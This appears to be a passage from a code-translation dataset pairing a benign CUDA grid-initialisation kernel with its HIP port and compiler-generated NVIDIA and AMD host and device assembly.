/* 0x000fc00000000000 */
/*0230*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0240*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0250*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0260*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0270*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
.......... |
You are a helpful coding assistant specialized in converting CUDA source code to CUDA host assembly. | #include "includes.h"
__global__ void initGridKernel ( float *d_grid, int axis, int w, int h, int d ) {
const int baseX = blockIdx.x * IG_BLOCKDIM_X + threadIdx.x;
const int baseY = blockIdx.y * IG_BLOCKDIM_Y + threadIdx.y;
const int baseZ = blockIdx.z * IG_BLOCKDIM_Z + threadIdx.z;
const int idx = (baseZ * h + baseY) * w + baseX;
if(axis == 0) {
d_grid[idx] = (float)baseX;
} else if(axis == 1) {
d_grid[idx] = (float)baseY;
} else {
d_grid[idx] = (float)baseZ;
}
} | .file "tmpxft_00172ed6_00000000-6_initGridKernel.cudafe1.cpp"
.text
#APP
#NO_APP
.type _ZL26__cudaUnregisterBinaryUtilv, @function
_ZL26__cudaUnregisterBinaryUtilv:
.LFB2029:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
movq _ZL20__cudaFatCubinHandle(%rip), %rdi
call __cudaUnregisterFatBinary@PLT
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2029:
.size _ZL26__cudaUnregisterBinaryUtilv, .-_ZL26__cudaUnregisterBinaryUtilv
.globl _Z38__device_stub__Z14initGridKernelPfiiiiPfiiii
.type _Z38__device_stub__Z14initGridKernelPfiiiiPfiiii, @function
_Z38__device_stub__Z14initGridKernelPfiiiiPfiiii:
.LFB2051:
.cfi_startproc
endbr64
subq $152, %rsp
.cfi_def_cfa_offset 160
movq %rdi, 24(%rsp)
movl %esi, 20(%rsp)
movl %edx, 16(%rsp)
movl %ecx, 12(%rsp)
movl %r8d, 8(%rsp)
movq %fs:40, %rax
movq %rax, 136(%rsp)
xorl %eax, %eax
leaq 24(%rsp), %rax
movq %rax, 96(%rsp)
leaq 20(%rsp), %rax
movq %rax, 104(%rsp)
leaq 16(%rsp), %rax
movq %rax, 112(%rsp)
leaq 12(%rsp), %rax
movq %rax, 120(%rsp)
leaq 8(%rsp), %rax
movq %rax, 128(%rsp)
movl $1, 48(%rsp)
movl $1, 52(%rsp)
movl $1, 56(%rsp)
movl $1, 60(%rsp)
movl $1, 64(%rsp)
movl $1, 68(%rsp)
leaq 40(%rsp), %rcx
leaq 32(%rsp), %rdx
leaq 60(%rsp), %rsi
leaq 48(%rsp), %rdi
call __cudaPopCallConfiguration@PLT
testl %eax, %eax
je .L7
.L3:
movq 136(%rsp), %rax
subq %fs:40, %rax
jne .L8
addq $152, %rsp
.cfi_remember_state
.cfi_def_cfa_offset 8
ret
.L7:
.cfi_restore_state
pushq 40(%rsp)
.cfi_def_cfa_offset 168
pushq 40(%rsp)
.cfi_def_cfa_offset 176
leaq 112(%rsp), %r9
movq 76(%rsp), %rcx
movl 84(%rsp), %r8d
movq 64(%rsp), %rsi
movl 72(%rsp), %edx
leaq _Z14initGridKernelPfiiii(%rip), %rdi
call cudaLaunchKernel@PLT
addq $16, %rsp
.cfi_def_cfa_offset 160
jmp .L3
.L8:
call __stack_chk_fail@PLT
.cfi_endproc
.LFE2051:
.size _Z38__device_stub__Z14initGridKernelPfiiiiPfiiii, .-_Z38__device_stub__Z14initGridKernelPfiiiiPfiiii
.globl _Z14initGridKernelPfiiii
.type _Z14initGridKernelPfiiii, @function
_Z14initGridKernelPfiiii:
.LFB2052:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
call _Z38__device_stub__Z14initGridKernelPfiiiiPfiiii
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2052:
.size _Z14initGridKernelPfiiii, .-_Z14initGridKernelPfiiii
.section .rodata.str1.1,"aMS",@progbits,1
.LC0:
.string "_Z14initGridKernelPfiiii"
.text
.type _ZL24__sti____cudaRegisterAllv, @function
_ZL24__sti____cudaRegisterAllv:
.LFB2054:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
leaq _ZL15__fatDeviceText(%rip), %rdi
call __cudaRegisterFatBinary@PLT
movq %rax, %rdi
movq %rax, _ZL20__cudaFatCubinHandle(%rip)
pushq $0
.cfi_def_cfa_offset 24
pushq $0
.cfi_def_cfa_offset 32
pushq $0
.cfi_def_cfa_offset 40
pushq $0
.cfi_def_cfa_offset 48
movl $0, %r9d
movl $-1, %r8d
leaq .LC0(%rip), %rdx
movq %rdx, %rcx
leaq _Z14initGridKernelPfiiii(%rip), %rsi
call __cudaRegisterFunction@PLT
addq $32, %rsp
.cfi_def_cfa_offset 16
movq _ZL20__cudaFatCubinHandle(%rip), %rdi
call __cudaRegisterFatBinaryEnd@PLT
leaq _ZL26__cudaUnregisterBinaryUtilv(%rip), %rdi
call atexit@PLT
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2054:
.size _ZL24__sti____cudaRegisterAllv, .-_ZL24__sti____cudaRegisterAllv
.section .init_array,"aw"
.align 8
.quad _ZL24__sti____cudaRegisterAllv
.section .nvFatBinSegment,"aw"
.align 8
.type _ZL15__fatDeviceText, @object
.size _ZL15__fatDeviceText, 24
_ZL15__fatDeviceText:
.long 1180844977
.long 1
.quad fatbinData
.quad 0
.local _ZL20__cudaFatCubinHandle
.comm _ZL20__cudaFatCubinHandle,8,8
.ident "GCC: (Ubuntu 13.3.0-6ubuntu2~24.04) 13.3.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4: |
You are a helpful coding assistant specialized in converting CUDA source code to HIP/AMD source code. | #include "includes.h"
__global__ void initGridKernel ( float *d_grid, int axis, int w, int h, int d ) {
const int baseX = blockIdx.x * IG_BLOCKDIM_X + threadIdx.x;
const int baseY = blockIdx.y * IG_BLOCKDIM_Y + threadIdx.y;
const int baseZ = blockIdx.z * IG_BLOCKDIM_Z + threadIdx.z;
const int idx = (baseZ * h + baseY) * w + baseX;
if(axis == 0) {
d_grid[idx] = (float)baseX;
} else if(axis == 1) {
d_grid[idx] = (float)baseY;
} else {
d_grid[idx] = (float)baseZ;
}
} | #include <hip/hip_runtime.h>
#include "includes.h"
__global__ void initGridKernel ( float *d_grid, int axis, int w, int h, int d ) {
const int baseX = blockIdx.x * IG_BLOCKDIM_X + threadIdx.x;
const int baseY = blockIdx.y * IG_BLOCKDIM_Y + threadIdx.y;
const int baseZ = blockIdx.z * IG_BLOCKDIM_Z + threadIdx.z;
const int idx = (baseZ * h + baseY) * w + baseX;
if(axis == 0) {
d_grid[idx] = (float)baseX;
} else if(axis == 1) {
d_grid[idx] = (float)baseY;
} else {
d_grid[idx] = (float)baseZ;
}
} |
You are a helpful coding assistant specialized in converting HIP source code to AMD device assembly. | #include <hip/hip_runtime.h>
#include "includes.h"
__global__ void initGridKernel ( float *d_grid, int axis, int w, int h, int d ) {
const int baseX = blockIdx.x * IG_BLOCKDIM_X + threadIdx.x;
const int baseY = blockIdx.y * IG_BLOCKDIM_Y + threadIdx.y;
const int baseZ = blockIdx.z * IG_BLOCKDIM_Z + threadIdx.z;
const int idx = (baseZ * h + baseY) * w + baseX;
if(axis == 0) {
d_grid[idx] = (float)baseX;
} else if(axis == 1) {
d_grid[idx] = (float)baseY;
} else {
d_grid[idx] = (float)baseZ;
}
} | .text
.amdgcn_target "amdgcn-amd-amdhsa--gfx1100"
.protected _Z14initGridKernelPfiiii
.globl _Z14initGridKernelPfiiii
.p2align 8
.type _Z14initGridKernelPfiiii,@function
_Z14initGridKernelPfiiii:
s_load_b32 s2, s[0:1], 0x8
v_bfe_u32 v1, v0, 10, 10
v_and_b32_e32 v3, 0x3ff, v0
s_delay_alu instid0(VALU_DEP_2)
v_lshl_add_u32 v1, s14, 3, v1
s_waitcnt lgkmcnt(0)
s_cmp_lt_i32 s2, 1
s_cbranch_scc1 .LBB0_3
s_cmp_eq_u32 s2, 1
s_cbranch_scc0 .LBB0_4
s_mov_b32 s3, 0
s_branch .LBB0_5
.LBB0_3:
s_mov_b32 s4, -1
s_mov_b32 s3, 0
s_branch .LBB0_6
.LBB0_4:
s_mov_b32 s3, -1
.LBB0_5:
v_mov_b32_e32 v2, v1
s_mov_b32 s4, 0
.LBB0_6:
v_bfe_u32 v4, v0, 20, 10
v_lshl_add_u32 v0, s13, 3, v3
s_and_b32 vcc_lo, exec_lo, s4
s_cbranch_vccz .LBB0_8
s_delay_alu instid0(VALU_DEP_1)
v_mov_b32_e32 v2, v0
s_cmp_lg_u32 s2, 0
s_cselect_b32 s3, -1, 0
.LBB0_8:
s_delay_alu instid0(VALU_DEP_2)
v_lshl_add_u32 v3, s15, 3, v4
s_and_not1_b32 vcc_lo, exec_lo, s3
s_cbranch_vccnz .LBB0_10
s_delay_alu instid0(VALU_DEP_1)
v_mov_b32_e32 v2, v3
.LBB0_10:
s_clause 0x1
s_load_b64 s[2:3], s[0:1], 0xc
s_load_b64 s[0:1], s[0:1], 0x0
s_waitcnt lgkmcnt(0)
v_mad_u64_u32 v[4:5], null, v3, s3, v[1:2]
v_cvt_f32_i32_e32 v2, v2
s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_1)
v_mad_u64_u32 v[5:6], null, v4, s2, v[0:1]
v_ashrrev_i32_e32 v6, 31, v5
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
v_lshlrev_b64 v[0:1], 2, v[5:6]
v_add_co_u32 v0, vcc_lo, s0, v0
s_delay_alu instid0(VALU_DEP_2)
v_add_co_ci_u32_e32 v1, vcc_lo, s1, v1, vcc_lo
global_store_b32 v[0:1], v2, off
s_nop 0
s_sendmsg sendmsg(MSG_DEALLOC_VGPRS)
s_endpgm
.section .rodata,"a",@progbits
.p2align 6, 0x0
.amdhsa_kernel _Z14initGridKernelPfiiii
.amdhsa_group_segment_fixed_size 0
.amdhsa_private_segment_fixed_size 0
.amdhsa_kernarg_size 24
.amdhsa_user_sgpr_count 13
.amdhsa_user_sgpr_dispatch_ptr 0
.amdhsa_user_sgpr_queue_ptr 0
.amdhsa_user_sgpr_kernarg_segment_ptr 1
.amdhsa_user_sgpr_dispatch_id 0
.amdhsa_user_sgpr_private_segment_size 0
.amdhsa_wavefront_size32 1
.amdhsa_uses_dynamic_stack 0
.amdhsa_enable_private_segment 0
.amdhsa_system_sgpr_workgroup_id_x 1
.amdhsa_system_sgpr_workgroup_id_y 1
.amdhsa_system_sgpr_workgroup_id_z 1
.amdhsa_system_sgpr_workgroup_info 0
.amdhsa_system_vgpr_workitem_id 2
.amdhsa_next_free_vgpr 7
.amdhsa_next_free_sgpr 16
.amdhsa_float_round_mode_32 0
.amdhsa_float_round_mode_16_64 0
.amdhsa_float_denorm_mode_32 3
.amdhsa_float_denorm_mode_16_64 3
.amdhsa_dx10_clamp 1
.amdhsa_ieee_mode 1
.amdhsa_fp16_overflow 0
.amdhsa_workgroup_processor_mode 1
.amdhsa_memory_ordered 1
.amdhsa_forward_progress 0
.amdhsa_shared_vgpr_count 0
.amdhsa_exception_fp_ieee_invalid_op 0
.amdhsa_exception_fp_denorm_src 0
.amdhsa_exception_fp_ieee_div_zero 0
.amdhsa_exception_fp_ieee_overflow 0
.amdhsa_exception_fp_ieee_underflow 0
.amdhsa_exception_fp_ieee_inexact 0
.amdhsa_exception_int_div_zero 0
.end_amdhsa_kernel
.text
.Lfunc_end0:
.size _Z14initGridKernelPfiiii, .Lfunc_end0-_Z14initGridKernelPfiiii
.section .AMDGPU.csdata,"",@progbits
.text
.p2alignl 7, 3214868480
.fill 96, 4, 3214868480
.type __hip_cuid_,@object
.section .bss,"aw",@nobits
.globl __hip_cuid_
__hip_cuid_:
.byte 0
.size __hip_cuid_, 1
.ident "AMD clang version 18.0.0git (https://github.com/RadeonOpenCompute/llvm-project roc-6.3.2 25012 e5bf7e55c91490b07c49d8960fa7983d864936c4)"
.section ".note.GNU-stack","",@progbits
.addrsig
.addrsig_sym __hip_cuid_
.amdgpu_metadata
---
amdhsa.kernels:
- .args:
- .address_space: global
.offset: 0
.size: 8
.value_kind: global_buffer
- .offset: 8
.size: 4
.value_kind: by_value
- .offset: 12
.size: 4
.value_kind: by_value
- .offset: 16
.size: 4
.value_kind: by_value
- .offset: 20
.size: 4
.value_kind: by_value
.group_segment_fixed_size: 0
.kernarg_segment_align: 8
.kernarg_segment_size: 24
.language: OpenCL C
.language_version:
- 2
- 0
.max_flat_workgroup_size: 1024
.name: _Z14initGridKernelPfiiii
.private_segment_fixed_size: 0
.sgpr_count: 18
.sgpr_spill_count: 0
.symbol: _Z14initGridKernelPfiiii.kd
.uniform_work_group_size: 1
.uses_dynamic_stack: false
.vgpr_count: 7
.vgpr_spill_count: 0
.wavefront_size: 32
.workgroup_processor_mode: 1
amdhsa.target: amdgcn-amd-amdhsa--gfx1100
amdhsa.version:
- 1
- 2
...
.end_amdgpu_metadata |
You are a helpful coding assistant specialized in converting HIP source code to AMD host assembly. | #include <hip/hip_runtime.h>
#include "includes.h"
__global__ void initGridKernel ( float *d_grid, int axis, int w, int h, int d ) {
const int baseX = blockIdx.x * IG_BLOCKDIM_X + threadIdx.x;
const int baseY = blockIdx.y * IG_BLOCKDIM_Y + threadIdx.y;
const int baseZ = blockIdx.z * IG_BLOCKDIM_Z + threadIdx.z;
const int idx = (baseZ * h + baseY) * w + baseX;
if(axis == 0) {
d_grid[idx] = (float)baseX;
} else if(axis == 1) {
d_grid[idx] = (float)baseY;
} else {
d_grid[idx] = (float)baseZ;
}
} | .text
.file "initGridKernel.hip"
.globl _Z29__device_stub__initGridKernelPfiiii # -- Begin function _Z29__device_stub__initGridKernelPfiiii
.p2align 4, 0x90
.type _Z29__device_stub__initGridKernelPfiiii,@function
_Z29__device_stub__initGridKernelPfiiii: # @_Z29__device_stub__initGridKernelPfiiii
.cfi_startproc
# %bb.0:
subq $120, %rsp
.cfi_def_cfa_offset 128
movq %rdi, 72(%rsp)
movl %esi, 20(%rsp)
movl %edx, 16(%rsp)
movl %ecx, 12(%rsp)
movl %r8d, 8(%rsp)
leaq 72(%rsp), %rax
movq %rax, 80(%rsp)
leaq 20(%rsp), %rax
movq %rax, 88(%rsp)
leaq 16(%rsp), %rax
movq %rax, 96(%rsp)
leaq 12(%rsp), %rax
movq %rax, 104(%rsp)
leaq 8(%rsp), %rax
movq %rax, 112(%rsp)
leaq 56(%rsp), %rdi
leaq 40(%rsp), %rsi
leaq 32(%rsp), %rdx
leaq 24(%rsp), %rcx
callq __hipPopCallConfiguration
movq 56(%rsp), %rsi
movl 64(%rsp), %edx
movq 40(%rsp), %rcx
movl 48(%rsp), %r8d
leaq 80(%rsp), %r9
movl $_Z14initGridKernelPfiiii, %edi
pushq 24(%rsp)
.cfi_adjust_cfa_offset 8
pushq 40(%rsp)
.cfi_adjust_cfa_offset 8
callq hipLaunchKernel
addq $136, %rsp
.cfi_adjust_cfa_offset -136
retq
.Lfunc_end0:
.size _Z29__device_stub__initGridKernelPfiiii, .Lfunc_end0-_Z29__device_stub__initGridKernelPfiiii
.cfi_endproc
# -- End function
.p2align 4, 0x90 # -- Begin function __hip_module_ctor
.type __hip_module_ctor,@function
__hip_module_ctor: # @__hip_module_ctor
.cfi_startproc
# %bb.0:
subq $40, %rsp
.cfi_def_cfa_offset 48
cmpq $0, __hip_gpubin_handle(%rip)
jne .LBB1_2
# %bb.1:
movl $__hip_fatbin_wrapper, %edi
callq __hipRegisterFatBinary
movq %rax, __hip_gpubin_handle(%rip)
.LBB1_2:
movq __hip_gpubin_handle(%rip), %rdi
xorps %xmm0, %xmm0
movups %xmm0, 16(%rsp)
movups %xmm0, (%rsp)
movl $_Z14initGridKernelPfiiii, %esi
movl $.L__unnamed_1, %edx
movl $.L__unnamed_1, %ecx
movl $-1, %r8d
xorl %r9d, %r9d
callq __hipRegisterFunction
movl $__hip_module_dtor, %edi
addq $40, %rsp
.cfi_def_cfa_offset 8
jmp atexit # TAILCALL
.Lfunc_end1:
.size __hip_module_ctor, .Lfunc_end1-__hip_module_ctor
.cfi_endproc
# -- End function
.p2align 4, 0x90 # -- Begin function __hip_module_dtor
.type __hip_module_dtor,@function
__hip_module_dtor: # @__hip_module_dtor
.cfi_startproc
# %bb.0:
movq __hip_gpubin_handle(%rip), %rdi
testq %rdi, %rdi
je .LBB2_2
# %bb.1:
pushq %rax
.cfi_def_cfa_offset 16
callq __hipUnregisterFatBinary
movq $0, __hip_gpubin_handle(%rip)
addq $8, %rsp
.cfi_def_cfa_offset 8
.LBB2_2:
retq
.Lfunc_end2:
.size __hip_module_dtor, .Lfunc_end2-__hip_module_dtor
.cfi_endproc
# -- End function
.type _Z14initGridKernelPfiiii,@object # @_Z14initGridKernelPfiiii
.section .rodata,"a",@progbits
.globl _Z14initGridKernelPfiiii
.p2align 3, 0x0
_Z14initGridKernelPfiiii:
.quad _Z29__device_stub__initGridKernelPfiiii
.size _Z14initGridKernelPfiiii, 8
.type .L__unnamed_1,@object # @0
.section .rodata.str1.1,"aMS",@progbits,1
.L__unnamed_1:
.asciz "_Z14initGridKernelPfiiii"
.size .L__unnamed_1, 25
.type __hip_fatbin_wrapper,@object # @__hip_fatbin_wrapper
.section .hipFatBinSegment,"a",@progbits
.p2align 3, 0x0
__hip_fatbin_wrapper:
.long 1212764230 # 0x48495046
.long 1 # 0x1
.quad __hip_fatbin
.quad 0
.size __hip_fatbin_wrapper, 24
.type __hip_gpubin_handle,@object # @__hip_gpubin_handle
.local __hip_gpubin_handle
.comm __hip_gpubin_handle,8,8
.section .init_array,"aw",@init_array
.p2align 3, 0x0
.quad __hip_module_ctor
.type __hip_cuid_,@object # @__hip_cuid_
.bss
.globl __hip_cuid_
__hip_cuid_:
.byte 0 # 0x0
.size __hip_cuid_, 1
.section ".linker-options","e",@llvm_linker_options
.ident "AMD clang version 18.0.0git (https://github.com/RadeonOpenCompute/llvm-project roc-6.3.2 25012 e5bf7e55c91490b07c49d8960fa7983d864936c4)"
.section ".note.GNU-stack","",@progbits
.addrsig
.addrsig_sym _Z29__device_stub__initGridKernelPfiiii
.addrsig_sym __hip_module_ctor
.addrsig_sym __hip_module_dtor
.addrsig_sym _Z14initGridKernelPfiiii
.addrsig_sym __hip_fatbin
.addrsig_sym __hip_fatbin_wrapper
.addrsig_sym __hip_cuid_ |
You are a helpful coding assistant specialized in converting from CUDA device assembly to AMD device assembly. | code for sm_80
Function : _Z14initGridKernelPfiiii
.headerflags @"EF_CUDA_TEXMODE_UNIFIED EF_CUDA_64BIT_ADDRESS EF_CUDA_SM80 EF_CUDA_VIRTUAL_SM(EF_CUDA_SM80)"
/*0000*/ MOV R1, c[0x0][0x28] ; /* 0x00000a0000017a02 */
/* 0x000fe40000000f00 */
/*0010*/ S2R R4, SR_CTAID.Y ; /* 0x0000000000047919 */
/* 0x000e220000002600 */
/*0020*/ ISETP.NE.AND P0, PT, RZ, c[0x0][0x168], PT ; /* 0x00005a00ff007a0c */
/* 0x000fe20003f05270 */
/*0030*/ ULDC.64 UR4, c[0x0][0x118] ; /* 0x0000460000047ab9 */
/* 0x000fe40000000a00 */
/*0040*/ S2R R5, SR_TID.Y ; /* 0x0000000000057919 */
/* 0x000e280000002200 */
/*0050*/ S2R R2, SR_CTAID.Z ; /* 0x0000000000027919 */
/* 0x000e680000002700 */
/*0060*/ S2R R7, SR_TID.Z ; /* 0x0000000000077919 */
/* 0x000e680000002300 */
/*0070*/ S2R R0, SR_CTAID.X ; /* 0x0000000000007919 */
/* 0x000ea80000002500 */
/*0080*/ S2R R3, SR_TID.X ; /* 0x0000000000037919 */
/* 0x000ea20000002100 */
/*0090*/ LEA R4, R4, R5, 0x3 ; /* 0x0000000504047211 */
/* 0x001fc400078e18ff */
/*00a0*/ LEA R5, R2, R7, 0x3 ; /* 0x0000000702057211 */
/* 0x002fe200078e18ff */
/*00b0*/ HFMA2.MMA R2, -RZ, RZ, 0, 2.384185791015625e-07 ; /* 0x00000004ff027435 */
/* 0x000fe200000001ff */
/*00c0*/ IMAD R0, R0, 0x8, R3 ; /* 0x0000000800007824 */
/* 0x004fc600078e0203 */
/*00d0*/ IMAD R3, R5, c[0x0][0x170], R4 ; /* 0x00005c0005037a24 */
/* 0x000fc800078e0204 */
/*00e0*/ IMAD R3, R3, c[0x0][0x16c], R0 ; /* 0x00005b0003037a24 */
/* 0x000fc800078e0200 */
/*00f0*/ IMAD.WIDE R2, R3, R2, c[0x0][0x160] ; /* 0x0000580003027625 */
/* 0x000fe200078e0202 */
/*0100*/ @!P0 BRA 0x190 ; /* 0x0000008000008947 */
/* 0x000fea0003800000 */
/*0110*/ IMAD.MOV.U32 R0, RZ, RZ, c[0x0][0x168] ; /* 0x00005a00ff007624 */
/* 0x000fca00078e00ff */
/*0120*/ ISETP.NE.AND P0, PT, R0, 0x1, PT ; /* 0x000000010000780c */
/* 0x000fda0003f05270 */
/*0130*/ @!P0 I2F R7, R4 ; /* 0x0000000400078306 */
/* 0x000e240000201400 */
/*0140*/ @!P0 STG.E [R2.64], R7 ; /* 0x0000000702008986 */
/* 0x0011e2000c101904 */
/*0150*/ @!P0 EXIT ; /* 0x000000000000894d */
/* 0x000fea0003800000 */
/*0160*/ I2F R5, R5 ; /* 0x0000000500057306 */
/* 0x000e640000201400 */
/*0170*/ STG.E [R2.64], R5 ; /* 0x0000000502007986 */
/* 0x002fe2000c101904 */
/*0180*/ EXIT ; /* 0x000000000000794d */
/* 0x000fea0003800000 */
/*0190*/ I2F R5, R0 ; /* 0x0000000000057306 */
/* 0x000e240000201400 */
/*01a0*/ STG.E [R2.64], R5 ; /* 0x0000000502007986 */
/* 0x001fe2000c101904 */
/*01b0*/ EXIT ; /* 0x000000000000794d */
/* 0x000fea0003800000 */
/*01c0*/ BRA 0x1c0; /* 0xfffffff000007947 */
/* 0x000fc0000383ffff */
/*01d0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*01e0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*01f0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0200*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0210*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0220*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0230*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0240*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0250*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0260*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0270*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
.......... | .text
.amdgcn_target "amdgcn-amd-amdhsa--gfx1100"
.protected _Z14initGridKernelPfiiii
.globl _Z14initGridKernelPfiiii
.p2align 8
.type _Z14initGridKernelPfiiii,@function
_Z14initGridKernelPfiiii:
s_load_b32 s2, s[0:1], 0x8
v_bfe_u32 v1, v0, 10, 10
v_and_b32_e32 v3, 0x3ff, v0
s_delay_alu instid0(VALU_DEP_2)
v_lshl_add_u32 v1, s14, 3, v1
s_waitcnt lgkmcnt(0)
s_cmp_lt_i32 s2, 1
s_cbranch_scc1 .LBB0_3
s_cmp_eq_u32 s2, 1
s_cbranch_scc0 .LBB0_4
s_mov_b32 s3, 0
s_branch .LBB0_5
.LBB0_3:
s_mov_b32 s4, -1
s_mov_b32 s3, 0
s_branch .LBB0_6
.LBB0_4:
s_mov_b32 s3, -1
.LBB0_5:
v_mov_b32_e32 v2, v1
s_mov_b32 s4, 0
.LBB0_6:
v_bfe_u32 v4, v0, 20, 10
v_lshl_add_u32 v0, s13, 3, v3
s_and_b32 vcc_lo, exec_lo, s4
s_cbranch_vccz .LBB0_8
s_delay_alu instid0(VALU_DEP_1)
v_mov_b32_e32 v2, v0
s_cmp_lg_u32 s2, 0
s_cselect_b32 s3, -1, 0
.LBB0_8:
s_delay_alu instid0(VALU_DEP_2)
v_lshl_add_u32 v3, s15, 3, v4
s_and_not1_b32 vcc_lo, exec_lo, s3
s_cbranch_vccnz .LBB0_10
s_delay_alu instid0(VALU_DEP_1)
v_mov_b32_e32 v2, v3
.LBB0_10:
s_clause 0x1
s_load_b64 s[2:3], s[0:1], 0xc
s_load_b64 s[0:1], s[0:1], 0x0
s_waitcnt lgkmcnt(0)
v_mad_u64_u32 v[4:5], null, v3, s3, v[1:2]
v_cvt_f32_i32_e32 v2, v2
s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_1)
v_mad_u64_u32 v[5:6], null, v4, s2, v[0:1]
v_ashrrev_i32_e32 v6, 31, v5
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
v_lshlrev_b64 v[0:1], 2, v[5:6]
v_add_co_u32 v0, vcc_lo, s0, v0
s_delay_alu instid0(VALU_DEP_2)
v_add_co_ci_u32_e32 v1, vcc_lo, s1, v1, vcc_lo
global_store_b32 v[0:1], v2, off
s_nop 0
s_sendmsg sendmsg(MSG_DEALLOC_VGPRS)
s_endpgm
.section .rodata,"a",@progbits
.p2align 6, 0x0
.amdhsa_kernel _Z14initGridKernelPfiiii
.amdhsa_group_segment_fixed_size 0
.amdhsa_private_segment_fixed_size 0
.amdhsa_kernarg_size 24
.amdhsa_user_sgpr_count 13
.amdhsa_user_sgpr_dispatch_ptr 0
.amdhsa_user_sgpr_queue_ptr 0
.amdhsa_user_sgpr_kernarg_segment_ptr 1
.amdhsa_user_sgpr_dispatch_id 0
.amdhsa_user_sgpr_private_segment_size 0
.amdhsa_wavefront_size32 1
.amdhsa_uses_dynamic_stack 0
.amdhsa_enable_private_segment 0
.amdhsa_system_sgpr_workgroup_id_x 1
.amdhsa_system_sgpr_workgroup_id_y 1
.amdhsa_system_sgpr_workgroup_id_z 1
.amdhsa_system_sgpr_workgroup_info 0
.amdhsa_system_vgpr_workitem_id 2
.amdhsa_next_free_vgpr 7
.amdhsa_next_free_sgpr 16
.amdhsa_float_round_mode_32 0
.amdhsa_float_round_mode_16_64 0
.amdhsa_float_denorm_mode_32 3
.amdhsa_float_denorm_mode_16_64 3
.amdhsa_dx10_clamp 1
.amdhsa_ieee_mode 1
.amdhsa_fp16_overflow 0
.amdhsa_workgroup_processor_mode 1
.amdhsa_memory_ordered 1
.amdhsa_forward_progress 0
.amdhsa_shared_vgpr_count 0
.amdhsa_exception_fp_ieee_invalid_op 0
.amdhsa_exception_fp_denorm_src 0
.amdhsa_exception_fp_ieee_div_zero 0
.amdhsa_exception_fp_ieee_overflow 0
.amdhsa_exception_fp_ieee_underflow 0
.amdhsa_exception_fp_ieee_inexact 0
.amdhsa_exception_int_div_zero 0
.end_amdhsa_kernel
.text
.Lfunc_end0:
.size _Z14initGridKernelPfiiii, .Lfunc_end0-_Z14initGridKernelPfiiii
.section .AMDGPU.csdata,"",@progbits
.text
.p2alignl 7, 3214868480
.fill 96, 4, 3214868480
.type __hip_cuid_,@object
.section .bss,"aw",@nobits
.globl __hip_cuid_
__hip_cuid_:
.byte 0
.size __hip_cuid_, 1
.ident "AMD clang version 18.0.0git (https://github.com/RadeonOpenCompute/llvm-project roc-6.3.2 25012 e5bf7e55c91490b07c49d8960fa7983d864936c4)"
.section ".note.GNU-stack","",@progbits
.addrsig
.addrsig_sym __hip_cuid_
.amdgpu_metadata
---
amdhsa.kernels:
- .args:
- .address_space: global
.offset: 0
.size: 8
.value_kind: global_buffer
- .offset: 8
.size: 4
.value_kind: by_value
- .offset: 12
.size: 4
.value_kind: by_value
- .offset: 16
.size: 4
.value_kind: by_value
- .offset: 20
.size: 4
.value_kind: by_value
.group_segment_fixed_size: 0
.kernarg_segment_align: 8
.kernarg_segment_size: 24
.language: OpenCL C
.language_version:
- 2
- 0
.max_flat_workgroup_size: 1024
.name: _Z14initGridKernelPfiiii
.private_segment_fixed_size: 0
.sgpr_count: 18
.sgpr_spill_count: 0
.symbol: _Z14initGridKernelPfiiii.kd
.uniform_work_group_size: 1
.uses_dynamic_stack: false
.vgpr_count: 7
.vgpr_spill_count: 0
.wavefront_size: 32
.workgroup_processor_mode: 1
amdhsa.target: amdgcn-amd-amdhsa--gfx1100
amdhsa.version:
- 1
- 2
...
.end_amdgpu_metadata |
You are a helpful coding assistant specialized in converting from CUDA host assembly to AMD host assembly. | .file "tmpxft_00172ed6_00000000-6_initGridKernel.cudafe1.cpp"
.text
#APP
#NO_APP
.type _ZL26__cudaUnregisterBinaryUtilv, @function
_ZL26__cudaUnregisterBinaryUtilv:
.LFB2029:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
movq _ZL20__cudaFatCubinHandle(%rip), %rdi
call __cudaUnregisterFatBinary@PLT
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2029:
.size _ZL26__cudaUnregisterBinaryUtilv, .-_ZL26__cudaUnregisterBinaryUtilv
.globl _Z38__device_stub__Z14initGridKernelPfiiiiPfiiii
.type _Z38__device_stub__Z14initGridKernelPfiiiiPfiiii, @function
_Z38__device_stub__Z14initGridKernelPfiiiiPfiiii:
.LFB2051:
.cfi_startproc
endbr64
subq $152, %rsp
